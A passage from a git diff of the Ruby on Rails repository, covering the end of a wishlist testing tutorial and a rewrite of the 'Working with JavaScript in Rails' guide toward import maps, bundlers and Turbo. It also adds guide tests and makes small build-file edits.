+  assert_select "h1", text: wishlist.name
+end
+```
+
+Let's run these tests and make sure they all pass:
+
+```bash
+$ bin/rails test test/integration/wishlists_test.rb
+Running 5 tests in a single process (parallelization threshold is 50)
+Run options: --seed 43675
+
+# Running:
+
+.....
+
+Finished in 0.645956s, 7.7405 runs/s, 13.9328 assertions/s.
+5 runs, 9 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Excellent!
+
+### Testing Wishlist Products
+
+Next, let's test products in wishlists. The best place to start is probably
+adding a product to a wishlist.
+
+Add the following test to `test/integration/wishlists_test.rb`:
+
+```ruby
+test "add product to a specific wishlist" do
+  sign_in_as users(:one)
+  wishlist = wishlists(:one)
+  assert_difference "WishlistProduct.count" do
+    post product_wishlist_path(products(:shoes)), params: { wishlist_id: wishlist.id }
+    assert_redirected_to wishlist
+  end
+end
+```
+
+This test asserts that a new `WishlistProduct` record is created when we send a
+POST request that simulates submitting the "Add to wishlist" form with a
+selected wishlist.
+
+Next, let's test the case where a user has no wishlists.
+
+```ruby
+test "add product when no wishlists" do
+  user = users(:one)
+  sign_in_as user
+  user.wishlists.destroy_all
+  assert_difference "Wishlist.count" do
+    assert_difference "WishlistProduct.count" do
+      post product_wishlist_path(products(:shoes))
+    end
+  end
+end
+```
+
+In this test, we delete all the user's wishlists to remove any wishlists that
+may be present from fixtures. In addition to asserting a new `WishlistProduct`
+was created, we also make sure a new `Wishlist` was created this time.
+
+We should also test that we can't add products to another user's wishlist. Add
+the following test.
+
+```ruby
+test "cannot add product to another user's wishlist" do
+  sign_in_as users(:one)
+  assert_no_difference "WishlistProduct.count" do
+    post product_wishlist_path(products(:shoes)), params: { wishlist_id: wishlists(:two).id }
+    assert_response :not_found
+  end
+end
+```
+
+In this case, we sign in as one user and `POST` with the ID of a wishlist from
+another user. To ensure this is working correctly, we assert that no new
+`WishlistProduct` records were created and we also make sure the response was a
+404 Not Found.
+
+Now, let's test moving products between wishlists.
+
+```ruby
+test "move product to another wishlist" do
+  user = users(:one)
+  sign_in_as user
+  wishlist = user.wishlists.first
+  wishlist_product = wishlist.wishlist_products.first
+  second_wishlist = user.wishlists.create!(name: "Second Wishlist")
+  patch wishlist_wishlist_product_path(wishlist, wishlist_product), params: { new_wishlist_id: second_wishlist.id }
+  assert_equal second_wishlist, wishlist_product.reload.wishlist
+end
+```
+
+This test has a bit more setup than the others. It creates a second wishlist to
+move the product to. Since this action updates the `wishlist_id` column of the
+`WishlistProduct` record, we save it to a variable and assert that it changes
+after the request completes.
+
+We have to call `wishlist_product.reload` since the copy of the record in memory
+is unaware of changes that happened during the request. This reloads the record
+from the database so we can see the new values.
+
+Next, let's test moving a product to a wishlist that already contains the
+product. In this case, we should get an error message and the `WishlistProduct`
+should have no changes.
+
+```ruby
+  test "cannot move product to a wishlist that already contains product" do
+    user = users(:one)
+    sign_in_as user
+    wishlist = user.wishlists.first
+    wishlist_product = wishlist.wishlist_products.first
+    second_wishlist = user.wishlists.create!(name: "Second")
+    second_wishlist.wishlist_products.create(product_id: wishlist_product.product_id)
+    patch wishlist_wishlist_product_path(wishlist, wishlist_product), params: { new_wishlist_id: second_wishlist.id }
+    assert_equal "T-Shirt is already on Second.", flash[:alert]
+    assert_equal wishlist, wishlist_product.reload.wishlist
+  end
+```
+
+This test uses an assertion against `flash[:alert]` to check for the error
+message. It also reloads `wishlist_product` to assert that the wishlist has not
+changed.
+
+Finally, we should add a test to ensure a user cannot move a product to another
+user's wishlist.
+
+```ruby
+  test "cannot move product to another user's wishlist" do
+    user = users(:one)
+    sign_in_as user
+    wishlist = user.wishlists.first
+    wishlist_product = wishlist.wishlist_products.first
+    patch wishlist_wishlist_product_path(wishlist, wishlist_product), params: { new_wishlist_id: wishlists(:two).id }
+    assert_response :not_found
+    assert_equal wishlist, wishlist_product.reload.wishlist
+  end
+```
+
+In this case, we assert that the response was a 404 Not Found which shows that
+we safely scoped the `new_wishlist_id` to the current user.
+
+It also asserts that the wishlist did not change, just like the previous test.
+
+Alright, let's run this full set of tests to double check they all pass.
+
+```bash
+$ bin/rails test test/integration/wishlists_test.rb
+Running 11 tests in a single process (parallelization threshold is 50)
+Run options: --seed 65170
+
+# Running:
+
+...........
+
+Finished in 1.084135s, 10.1463 runs/s, 23.0599 assertions/s.
+11 runs, 25 assertions, 0 failures, 0 errors, 0 skips
+```
+
+Fantastic! Our tests are all passing.
+
+## Deploying To Production
+
+Since we previously setup Kamal in the
+[Getting Started Guide](getting_started.html), we just need to push our code
+changes to our Git repository and run:
+
+```bash
+$ bin/kamal deploy
+```
+
+## What's Next
+
+Your e-commerce store now has Wishlists and an improved admin area with
+filtering of Wishlists and Subscribers.
+
+Here are a few ideas to build on to this:
+
+- Add product reviews
+- Write more tests
+- Finish translating the app into another language
+- Add a carousel for product images
+- Improve the design with CSS
+- Add payments to buy products
+
+[Return to all tutorials](https://rubyonrails.org/docs/tutorials)
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
index c1dfcab6f396a..7e091672296fb 100644
--- a/guides/source/working_with_javascript_in_rails.md
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -1,409 +1,361 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Working with JavaScript in Rails
 ================================
 
-This guide covers the built-in Ajax/JavaScript functionality of Rails (and
-more); it will enable you to create rich and dynamic Ajax applications with
-ease!
+This guide covers the options for integrating JavaScript functionality into your Rails application,
+including the options you have for using external JavaScript packages and how to use Turbo with
+Rails.
 
 After reading this guide, you will know:
 
-* The basics of Ajax.
-* Unobtrusive JavaScript.
-* How Rails' built-in helpers assist you.
-* How to handle Ajax on the server side.
-* The Turbolinks gem.
+* How to use Rails without the need for a Node.js, Yarn, or a JavaScript bundler.
+* How to create a new Rails application using import maps, Bun, esbuild, Rollup, or Webpack to bundle
+  your JavaScript.
+* What Turbo is, and how to use it.
+* How to use the Turbo HTML helpers provided by Rails.
 
--------------------------------------------------------------------------------
+--------------------------------------------------------------------------------
 
-An Introduction to Ajax
-------------------------
+Import Maps
+-----------
 
-In order to understand Ajax, you must first understand what a web browser does
-normally.
+[Import maps](https://github.com/rails/importmap-rails) let you import JavaScript modules using
+logical names that map to versioned files directly from the browser. Import maps are the default
+from Rails 7, allowing anyone to build modern JavaScript applications using most npm packages
+without the need for transpiling or bundling.
 
-When you type `http://localhost:3000` into your browser's address bar and hit
-'Go,' the browser (your 'client') makes a request to the server. It parses the
-response, then fetches all associated assets, like JavaScript files,
-stylesheets and images. It then assembles the page. If you click a link, it
-does the same process: fetch the page, fetch the assets, put it all together,
-show you the results. This is called the 'request response cycle.'
+Applications using import maps do not need [Node.js](https://nodejs.org/en/) or
+[Yarn](https://yarnpkg.com/) to function. If you plan to use Rails with `importmap-rails` to
+manage your JavaScript dependencies, there is no need to install Node.js or Yarn.
 
-JavaScript can also make requests to the server, and parse the response. It
-also has the ability to update information on the page. Combining these two
-powers, a JavaScript writer can make a web page that can update just parts of
-itself, without needing to get the full page data from the server. This is a
-powerful technique that we call Ajax.
+When using import maps, no separate build process is required, just start your server with
+`bin/rails server` and you are good to go.
 
-Rails ships with CoffeeScript by default, and so the rest of the examples
-in this guide will be in CoffeeScript. All of these lessons, of course, apply
-to vanilla JavaScript as well.
+### Installing importmap-rails
 
-As an example, here's some CoffeeScript code that makes an Ajax request using
-the jQuery library:
+Importmap for Rails is automatically included in Rails 7+ for new applications, but you can also install it manually in existing applications:
 
-```coffeescript
-$.ajax(url: "/test").done (html) ->
-  $("#results").append html
+```bash
+$ bundle add importmap-rails
 ```
 
-This code fetches data from "/test", and then appends the result to the `div`
-with an id of `results`.
+Run the install task:
 
-Rails provides quite a bit of built-in support for building web pages with this
-technique. You rarely have to write this code yourself. The rest of this guide
-will show you how Rails can help you write websites in this way, but it's
-all built on top of this fairly simple technique.
-
-Unobtrusive JavaScript
--------------------------------------
+```bash
+$ bin/rails importmap:install
+```
 
-Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
-JavaScript to the DOM. This is generally considered to be a best-practice
-within the frontend community, but you may occasionally read tutorials that
-demonstrate other ways.
+### Adding npm Packages with importmap-rails
 
-Here's the simplest way to write JavaScript. You may see it referred to as
-'inline JavaScript':
+To add new packages to your import map-powered application, run the `bin/importmap pin` command
+from your terminal:
 
-```html
-<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+```bash
+$ bin/importmap pin react react-dom
 ```
-When clicked, the link background will become red. Here's the problem: what
-happens when we have lots of JavaScript we want to execute on a click?
 
-```html
-<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+Then, import the package into `application.js` as usual:
+
+```javascript
+import React from "react"
+import ReactDOM from "react-dom"
 ```
 
-Awkward, right? We could pull the function definition out of the click handler,
-and turn it into CoffeeScript:
+Adding npm Packages with JavaScript Bundlers
+--------------------------------------------
 
-```coffeescript
-@paintIt = (element, backgroundColor, textColor) ->
-  element.style.backgroundColor = backgroundColor
-  if textColor?
-    element.style.color = textColor
-```
+Import maps are the default for new Rails applications, but if you prefer traditional JavaScript
+bundling, you can create new Rails applications with your choice of
+[Bun](https://bun.sh), [esbuild](https://esbuild.github.io/),
+[Webpack](https://webpack.js.org/), or [Rollup.js](https://rollupjs.org/guide/en/).
 
-And then on our page:
+To use a bundler instead of import maps in a new Rails application, pass the `--javascript` or `-j`
+option to `rails new`:
 
-```html
-<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+```bash
+$ rails new my_new_app --javascript=bun
+OR
+$ rails new my_new_app -j bun
 ```
 
-That's a little bit better, but what about multiple links that have the same
-effect?
+These bundling options each come with a simple configuration and integration with the asset
+pipeline via the [jsbundling-rails](https://github.com/rails/jsbundling-rails) gem.
 
-```html
-<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
-<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
-<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
-```
+When using a bundling option, use `bin/dev` to start the Rails server and build JavaScript for
+development.
 
-Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*`
-attribute to our link, and then bind a handler to the click event of every link
-that has that attribute:
+### Installing a JavaScript Runtime
 
-```coffeescript
-@paintIt = (element, backgroundColor, textColor) ->
-  element.style.backgroundColor = backgroundColor
-  if textColor?
-    element.style.color = textColor
+If you are using esbuild, Rollup.js, or Webpack to bundle your JavaScript in
+your Rails application, Node.js and Yarn must be installed. If you are using
+Bun, then you just need to install Bun as it is both a JavaScript runtime and a bundler.
 
-$ ->
-  $("a[data-background-color]").click (e) ->
-    e.preventDefault()
+#### Installing Bun
 
-    backgroundColor = $(this).data("background-color")
-    textColor = $(this).data("text-color")
-    paintIt(this, backgroundColor, textColor)
-```
-```html
-<a href="#" data-background-color="#990000">Paint it red</a>
-<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
-<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+Find the installation instructions at the [Bun website](https://bun.sh) and
+verify it’s installed correctly and in your path with the following command:
+
+```bash
+$ bun --version
 ```
 
-We call this 'unobtrusive' JavaScript because we're no longer mixing our
-JavaScript into our HTML. We've properly separated our concerns, making future
-change easy. We can easily add behavior to any link by adding the data
-attribute. We can run all of our JavaScript through a minimizer and
-concatenator. We can serve our entire JavaScript bundle on every page, which
-means that it'll get downloaded on the first page load and then be cached on
-every page after that. Lots of little benefits really add up.
+The version of your Bun runtime should be printed out. If it says something
+like `1.0.0`, Bun has been installed correctly.
 
-The Rails team strongly encourages you to write your CoffeeScript (and
-JavaScript) in this style, and you can expect that many libraries will also
-follow this pattern.
+If not, you may need to reinstall Bun in the current directory or restart your terminal.
 
-Built-in Helpers
-----------------------
+#### Installing Node.js and Yarn
 
-Rails provides a bunch of view helper methods written in Ruby to assist you
-in generating HTML. Sometimes, you want to add a little Ajax to those elements,
-and Rails has got your back in those cases.
+If you are using esbuild, Rollup.js, or Webpack you will need Node.js and Yarn.
 
-Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two
-parts: the JavaScript half and the Ruby half.
+Find the installation instructions at the [Node.js website](https://nodejs.org/en/download/) and
+verify it’s installed correctly with the following command:
 
-Unless you have disabled the Asset Pipeline,
-[rails.js](https://github.com/rails/jquery-ujs/blob/master/src/rails.js)
-provides the JavaScript half, and the regular Ruby view helpers add appropriate
-tags to your DOM.
+```bash
+$ node --version
+```
 
-### form_for
+The version of your Node.js runtime should be printed out. Make sure it’s greater than `8.16.0`.
 
-[`form_for`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for)
-is a helper that assists with writing forms. `form_for` takes a `:remote`
-option. It works like this:
+To install Yarn, follow the installation instructions at the
+[Yarn website](https://classic.yarnpkg.com/en/docs/install). Running this command should print out
+the Yarn version:
 
-```erb
-<%= form_for(@article, remote: true) do |f| %>
-  ...
-<% end %>
+```bash
+$ yarn --version
 ```
 
-This will generate the following HTML:
+If it says something like `1.22.0`, Yarn has been installed correctly.
 
-```html
-<form accept-charset="UTF-8" action="/articles" class="new_article" data-remote="true" id="new_article" method="post">
-  ...
-</form>
-```
+Choosing Between Import Maps and a JavaScript Bundler
+-----------------------------------------------------
 
-Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather
-than by the browser's normal submit mechanism.
+When you create a new Rails application, you will need to choose between import maps and a
+JavaScript bundling solution. Every application has different requirements, and you should
+consider your requirements carefully before choosing a JavaScript option, as migrating from one
+option to another may be time-consuming for large, complex applications.
 
-You probably don't want to just sit there with a filled out `<form>`, though.
-You probably want to do something upon a successful submission. To do that,
-bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
+Import maps are the default option because the Rails team believes in import maps' potential for
+reducing complexity, improving developer experience, and delivering performance gains.
 
-```coffeescript
-$(document).ready ->
-  $("#new_article").on("ajax:success", (e, data, status, xhr) ->
-    $("#new_article").append xhr.responseText
-  ).on "ajax:error", (e, xhr, status, error) ->
-    $("#new_article").append "<p>ERROR</p>"
-```
+For many applications, especially those that rely primarily on the [Hotwire](https://hotwired.dev/)
+stack for their JavaScript needs, import maps will be the right option for the long term. You
+can read more about the reasoning behind making import maps the default in Rails 7
+[here](https://world.hey.com/dhh/rails-7-will-have-three-great-answers-to-javascript-in-2021-8d68191b).
 
-Obviously, you'll want to be a bit more sophisticated than that, but it's a
-start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax).
+Other applications may still need a traditional JavaScript bundler. Requirements that indicate
+that you should choose a traditional bundler include:
 
-### form_tag
+* If your code requires a transpilation step, such as JSX or TypeScript.
+* If you need to use JavaScript libraries that include CSS or otherwise rely on
+  [Webpack loaders](https://webpack.js.org/loaders/).
+* If you are absolutely sure that you need
+  [tree-shaking](https://webpack.js.org/guides/tree-shaking/).
+* If you will install Bootstrap, Bulma, PostCSS, or Dart CSS through the [cssbundling-rails gem](https://github.com/rails/cssbundling-rails). All options provided by this gem except Tailwind and Sass will automatically install `esbuild` for you if you do not specify a different option in `rails new`.
 
-[`form_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag)
-is very similar to `form_for`. It has a `:remote` option that you can use like
-this:
+Turbo
+-----
 
-```erb
-<%= form_tag('/articles', remote: true) do %>
-  ...
-<% end %>
-```
+Whether you choose import maps or a traditional bundler, Rails ships with
+[Turbo](https://turbo.hotwired.dev/) to speed up your application while dramatically reducing the
+amount of JavaScript that you will need to write.
 
-This will generate the following HTML:
+Turbo lets your server deliver HTML directly as an alternative to the prevailing front-end
+frameworks that reduce the server-side of your Rails application to little more than a JSON API.
 
-```html
-<form accept-charset="UTF-8" action="/articles" data-remote="true" method="post">
-  ...
-</form>
-```
+### Turbo Drive
+
+[Turbo Drive](https://turbo.hotwired.dev/handbook/drive) speeds up page loads by avoiding full-page
+teardowns and rebuilds on every navigation request. Turbo Drive is an improvement on and
+replacement for Turbolinks.
 
-Everything else is the same as `form_for`. See its documentation for full
-details.
+### Turbo Frames
 
-### link_to
+[Turbo Frames](https://turbo.hotwired.dev/handbook/frames) allow predefined parts of a page to be
+updated on request, without impacting the rest of the page’s content.
 
-[`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
-is a helper that assists with generating links. It has a `:remote` option you
-can use like this:
+You can use Turbo Frames to build in-place editing without any custom JavaScript, lazy load
+content, and create server-rendered, tabbed interfaces with ease.
+
+Rails provides HTML helpers to simplify the use of Turbo Frames through the
+[turbo-rails](https://github.com/hotwired/turbo-rails) gem.
+
+Using this gem, you can add a Turbo Frame to your application with the `turbo_frame_tag` helper
+like this:
 
 ```erb
-<%= link_to "an article", @article, remote: true %>
+<%= turbo_frame_tag dom_id(post) do %>
+  <div>
+     <%= link_to post.title, post_path(post) %>
+  </div>
+<% end %>
 ```
 
-which generates
+### Turbo Streams
 
-```html
-<a href="/articles/1" data-remote="true">an article</a>
-```
+[Turbo Streams](https://turbo.hotwired.dev/handbook/streams) deliver page changes as fragments of
+HTML wrapped in self-executing `<turbo-stream>` elements. Turbo Streams allow you to broadcast
+changes made by other users over WebSockets and update pieces of a page after a form submission
+without requiring a full page load.
 
-You can bind to the same Ajax events as `form_for`. Here's an example. Let's
-assume that we have a list of articles that can be deleted with just one
-click. We would generate some HTML like this:
+Rails provides HTML and server-side helpers to simplify the use of Turbo Streams through the
+[turbo-rails](https://github.com/hotwired/turbo-rails) gem.
 
-```erb
-<%= link_to "Delete article", @article, remote: true, method: :delete %>
+Using this gem, you can render Turbo Streams from a controller action:
+
+```ruby
+def create
+  @post = Post.new(post_params)
+
+  respond_to do |format|
+    if @post.save
+      format.turbo_stream
+    else
+      format.html { render :new, status: :unprocessable_entity }
+    end
+  end
+end
 ```
 
-and write some CoffeeScript like this:
+Rails will automatically look for a `.turbo_stream.erb` view file and render that view when found.
 
-```coffeescript
-$ ->
-  $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
-    alert "The article was deleted."
+Turbo Stream responses can also be rendered inline in the controller action:
+
+```ruby
+def create
+  @post = Post.new(post_params)
+
+  respond_to do |format|
+    if @post.save
+      format.turbo_stream { render turbo_stream: turbo_stream.prepend("posts", partial: "post") }
+    else
+      format.html { render :new, status: :unprocessable_entity }
+    end
+  end
+end
 ```
 
-### button_to
+Finally, Turbo Streams can be initiated from a model or a background job using built-in helpers.
+These broadcasts can be used to update content via a WebSocket connection to all users, keeping
+page content fresh and bringing your application to life.
 
-[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
+To broadcast a Turbo Stream from a model, combine a model callback like this:
 
-```erb
-<%= button_to "An article", @article, remote: true %>
+```ruby
+class Post < ApplicationRecord
+  after_create_commit { broadcast_append_to("posts") }
+end
 ```
 
-this generates
+With a WebSocket connection set up on the page that should receive the updates like this:
 
-```html
-<form action="/articles/1" class="button_to" data-remote="true" method="post">
-  <input type="submit" value="An article" />
-</form>
+```erb
+<%= turbo_stream_from "posts" %>
 ```
 
-Since it's just a `<form>`, all of the information on `form_for` also applies.
+Replacements for Rails/UJS Functionality
+----------------------------------------
 
-Server-Side Concerns
---------------------
+Rails 6 shipped with a tool called UJS (Unobtrusive JavaScript). UJS allows
+developers to override the HTTP request method of `<a>` tags, to add confirmation
+dialogs before executing an action, and more. UJS was the default before Rails
+7, but it is now recommended to use Turbo instead.
 
-Ajax isn't just client-side, you also need to do some work on the server
-side to support it. Often, people like their Ajax requests to return JSON
-rather than HTML. Let's discuss what it takes to make that happen.
+### Method
 
-### A Simple Example
+Clicking links always results in an HTTP GET request. If your application is
+[RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer), some links are in fact
+actions that change data on the server, and should be performed with non-GET
+requests. The `data-turbo-method` attribute allows marking up such links with
+an explicit method such as "post", "put", or "delete".
 
-Imagine you have a series of users that you would like to display and provide a
-form on that same page to create a new user. The index action of your
-controller looks like this:
+Turbo will scan `<a>` tags in your application for the `turbo-method` data attribute and use the
+specified method when present, overriding the default GET action.
 
-```ruby
-class UsersController < ApplicationController
-  def index
-    @users = User.all
-    @user = User.new
-  end
-  # ...
+For example:
+
+```erb
+<%= link_to "Delete post", post_path(post), data: { turbo_method: "delete" } %>
 ```
 
-The index view (`app/views/users/index.html.erb`) contains:
+This generates:
 
-```erb
-<b>Users</b>
+```html
+<a data-turbo-method="delete" href="...">Delete post</a>
+```
 
-<ul id="users">
-<%= render @users %>
-</ul>
+An alternative to changing the method of a link with `data-turbo-method` is to use Rails
+`button_to` helper. For accessibility reasons, actual buttons and forms are preferable for any
+non-GET action.
 
-<br>
+### Confirmations
 
-<%= form_for(@user, remote: true) do |f| %>
-  <%= f.label :name %><br>
-  <%= f.text_field :name %>
-  <%= f.submit %>
-<% end %>
-```
+You can ask for an extra confirmation from the user by adding a `data-turbo-confirm`
+attribute on links and forms. On link click or form submit, the user will be
+presented with a JavaScript `confirm()` dialog containing the attribute's text.
+If the user chooses to cancel, the action doesn't take place.
 
-The `app/views/users/_user.html.erb` partial contains the following:
+For example, with the `link_to` helper:
 
 ```erb
-<li><%= user.name %></li>
+<%= link_to "Delete post", post_path(post), data: { turbo_method: "delete", turbo_confirm: "Are you sure?" } %>
 ```
 
-The top portion of the index page displays the users. The bottom portion
-provides a form to create a new user.
-
-The bottom form will call the `create` action on the `UsersController`. Because
-the form's remote option is set to true, the request will be posted to the
-`UsersController` as an Ajax request, looking for JavaScript. In order to
-serve that request, the `create` action of your controller would look like
-this:
+Which generates:
 
-```ruby
-  # app/controllers/users_controller.rb
-  # ......
-  def create
-    @user = User.new(params[:user])
-
-    respond_to do |format|
-      if @user.save
-        format.html { redirect_to @user, notice: 'User was successfully created.' }
-        format.js
-        format.json { render json: @user, status: :created, location: @user }
-      else
-        format.html { render action: "new" }
-        format.json { render json: @user.errors, status: :unprocessable_entity }
-      end
-    end
-  end
+```html
+<a href="..." data-turbo-confirm="Are you sure?" data-turbo-method="delete">Delete post</a>
 ```
 
-Notice the format.js in the `respond_to` block; that allows the controller to
-respond to your Ajax request. You then have a corresponding
-`app/views/users/create.js.erb` view file that generates the actual JavaScript
-code that will be sent and executed on the client side.
+When the user clicks on the "Delete post" link, they will be presented with an
+"Are you sure?" confirmation dialog.
+
+The attribute can also be used with the `button_to` helper, however it must be
+added to the form that the `button_to` helper renders internally:
 
 ```erb
-$("<%= escape_javascript(render @user) %>").appendTo("#users");
+<%= button_to "Delete post", post, method: :delete, form: { data: { turbo_confirm: "Are you sure?" } } %>
 ```
 
-Turbolinks
-----------
-
-Rails ships with the [Turbolinks library](https://github.com/turbolinks/turbolinks),
-which uses Ajax to speed up page rendering in most applications.
+### Ajax Requests
 
-### How Turbolinks Works
+When making non-GET requests from JavaScript, the `X-CSRF-Token` header is required.
+Without this header, requests won't be accepted by Rails.
 
-Turbolinks attaches a click handler to all `<a>` on the page. If your browser
-supports
-[PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState%28%29_method),
-Turbolinks will make an Ajax request for the page, parse the response, and
-replace the entire `<body>` of the page with the `<body>` of the response. It
-will then use PushState to change the URL to the correct one, preserving
-refresh semantics and giving you pretty URLs.
+NOTE: This token is required by Rails to prevent Cross-Site Request Forgery (CSRF) attacks. Read more in the [security guide](security.html#cross-site-request-forgery-csrf).
 
-The only thing you have to do to enable Turbolinks is have it in your Gemfile,
-and put `//= require turbolinks` in your JavaScript manifest, which is usually
-`app/assets/javascripts/application.js`.
+[Rails Request.JS](https://github.com/rails/request.js) encapsulates the logic
+of adding the request headers that are required by Rails. Just
+import the `FetchRequest` class from the package and instantiate it
+passing the request method, url, options, then call `await request.perform()`
+and do what you need with the response.
 
-If you want to disable Turbolinks for certain links, add a `data-turbolinks="false"`
-attribute to the tag:
-
-```html
-<a href="..." data-turbolinks="false">No turbolinks here</a>.
-```
+For example:
 
-### Page Change Events
+```javascript
+import { FetchRequest } from '@rails/request.js'
 
-When writing CoffeeScript, you'll often want to do some sort of processing upon
-page load. With jQuery, you'd write something like this:
+....
 
-```coffeescript
-$(document).ready ->
-  alert "page has loaded!"
+async function myMethod () {
+  const request = new FetchRequest('post', 'http://localhost:3000/posts', {
+    body: JSON.stringify({ name: 'Request.JS' })
+  })
+  const response = await request.perform()
+  if (response.ok) {
+    const body = await response.text
+  }
+}
 ```
 
-However, because Turbolinks overrides the normal page loading process, the
-event that this relies on will not be fired. If you have code that looks like
-this, you must change your code to do this instead:
+When using another library to make Ajax calls, it is necessary to add the
+security token as a default header yourself. To get the token, have a look at
+`<meta name='csrf-token' content='THE-TOKEN'>` tag printed by
+[`csrf_meta_tags`][] in your application view. You could do something like:
 
-```coffeescript
-$(document).on "turbolinks:load", ->
-  alert "page has loaded!"
+```javascript
+document.head.querySelector("meta[name=csrf-token]")?.content
 ```
 
-For more details, including other events you can bind to, check out [the
-Turbolinks
-README](https://github.com/turbolinks/turbolinks/blob/master/README.md).
-
-Other Resources
----------------
-
-Here are some helpful links to help you learn even more:
-
-* [jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki)
-* [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles)
-* [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/)
-* [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript)
-* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks)
+[`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags
diff --git a/guides/test/bug_report_template_test.rb b/guides/test/bug_report_template_test.rb
new file mode 100644
index 0000000000000..f96352434704b
--- /dev/null
+++ b/guides/test/bug_report_template_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "active_support/testing/stream"
+
+class BugReportTemplatesTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Stream
+
+  templates = Dir.glob("bug_report_templates/*.rb")
+  templates.each do |file|
+    test "#{file} can be executed " do
+      success = silence_stream($stdout) do
+        Bundler.unbundled_system(Gem.ruby, "-w", file) ||
+          puts("+++ 💥 FAILED (exit #{$?.exitstatus})")
+      end
+      assert success
+    end
+  end
+end
diff --git a/guides/test/markdown/renderer_test.rb b/guides/test/markdown/renderer_test.rb
new file mode 100644
index 0000000000000..8f4efe5ded9c4
--- /dev/null
+++ b/guides/test/markdown/renderer_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class Markdown::RendererTest < ActiveSupport::TestCase
+  def renderer
+    RailsGuides::Markdown::Renderer.new
+  end
+
+  test "link returns an anchor tag" do
+    assert_equal "<a href=\"http://example.com\">example</a>", renderer.link("http://example.com", nil, "example")
+    assert_equal "<a href=\"http://example.com\" title=\"title\">example</a>", renderer.link("http://example.com", "title", "example")
+  end
+
+  test "link to the API" do
+    assert_equal "<a href=\"https://api.rubyonrails.org/\">Rails</a>", renderer.link("https://api.rubyonrails.org", nil, "Rails")
+  end
+
+  test "link to a versioned API" do
+    assert_equal "<a href=\"https://api.rubyonrails.org/v7.0\">Rails</a>", renderer.link("https://api.rubyonrails.org/v7.0", nil, "Rails")
+  end
+
+  test "link to the edge API" do
+    renderer.edge = true
+    assert_equal "<a href=\"https://edgeapi.rubyonrails.org\">Rails</a>", renderer.link("https://api.rubyonrails.org", nil, "Rails")
+  ensure
+    renderer.edge = false
+  end
+end
diff --git a/guides/test/test_helper.rb b/guides/test/test_helper.rb
new file mode 100644
index 0000000000000..b78ae3c4a3353
--- /dev/null
+++ b/guides/test/test_helper.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
+
+$LOAD_PATH.unshift File.expand_path("..", __dir__)
+
+require "rails_guides"
+
+require "minitest/autorun"
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
index c0a32c6b917fc..742799eb7ba71 100644
--- a/guides/w3c_validator.rb
+++ b/guides/w3c_validator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # ---------------------------------------------------------------------------
 #
 # This script validates the generated guides against the W3C Validator.
@@ -32,7 +34,8 @@
 module RailsGuides
   class Validator
     def validate
-      validator = MarkupValidator.new
+      # https://github.com/w3c-validators/w3c_validators/issues/25
+      validator = NuValidator.new
       STDOUT.sync = true
       errors_on_guides = {}
 
@@ -44,11 +47,11 @@ def validate
           next
         end
 
-        if results.validity
-          print "."
-        else
+        if results.errors.length > 0
           print "E"
           errors_on_guides[f] = results.errors
+        else
+          print "."
         end
       end
 
@@ -91,5 +94,3 @@ def show_results(error_list)
       end
   end
 end
-
-RailsGuides::Validator.new.validate
diff --git a/package.json b/package.json
new file mode 100644
index 0000000000000..ee9811ba7c152
--- /dev/null
+++ b/package.json
@@ -0,0 +1,8 @@
+{
+  "private": true,
+  "workspaces": [
+    "actioncable",
+    "actiontext",
+    "activestorage"
+  ]
+}
diff --git a/rails.gemspec b/rails.gemspec
index 2d5be58c1711b..728e149ac7c0f 100644
--- a/rails.gemspec
+++ b/rails.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
